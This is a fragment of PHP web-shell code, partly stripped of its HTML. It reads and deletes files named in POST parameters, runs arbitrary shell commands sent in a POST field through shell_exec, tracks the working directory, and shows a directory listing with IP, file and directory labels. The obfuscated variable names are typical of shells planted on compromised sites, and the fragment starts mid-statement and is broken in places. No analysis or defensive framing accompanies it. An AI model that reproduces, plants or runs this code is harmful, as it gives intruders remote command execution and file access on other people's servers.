0){$file=fopen($_POST["aa"],"r");while(!feof($file)){$content.=fgets($file);}fclose($file);}else $content="";break;case 'ag':unlink($_POST["aa"]);break;case 'ah':chdir($a2);$aj=$_POST["aj"];$output=shell_exec($aj);$a2=shell_exec($aj."&& pwd");$a2=rtrim($a2,"\n");$len=strrpos($a2,"\n");$a2=substr($a2,$len);if(!is_dir($a2)){$a2=shell_exec("pwd");$a2=rtrim($a2,"\n");$len=strrpos($a2,"\n");$a2=substr($a2,$len);}$a2=str_replace('\\','/',$a2);break;default: break;}}$a2=str_replace("//",'/',$a2);?>
IP:
Current File:
Current Directory:
read()) !== false) { if(is_dir($a5->path.'/'.$file)) array_push($a6, $file); else array_push($a7, $file); } } sort($a6); sort($a7); for($i = 0; $i < count($a6); $i++) array_push($list, $a6[$i]); for($i = 0; $i < count($a7); $i++) array_push($list, $a7[$i]); for($index = 0; $index < count($list); $index++){ $file = $list[$index]; $a8 = ""; if($file == ".") $a8 = $a5->path; else if($file == ".."){ $len = strrpos($a2, "/"); $a8 = substr($a2, 0, $len); if($a8 == "") $a8 = "/"; } else $a8 = $a5->path.'/'.$file; if(is_dir($a8)){ $subdir = dir($a8); if(!$subdir) { $a8 = $a5->path; } else $subdir->close(); } ?>
NameModified DateSizePropertyAction
Total: 1) $dircnt = count($a6) - 2; else $dircnt = 0; echo $dircnt." Directories, "; echo count($a7)." Files"; ?>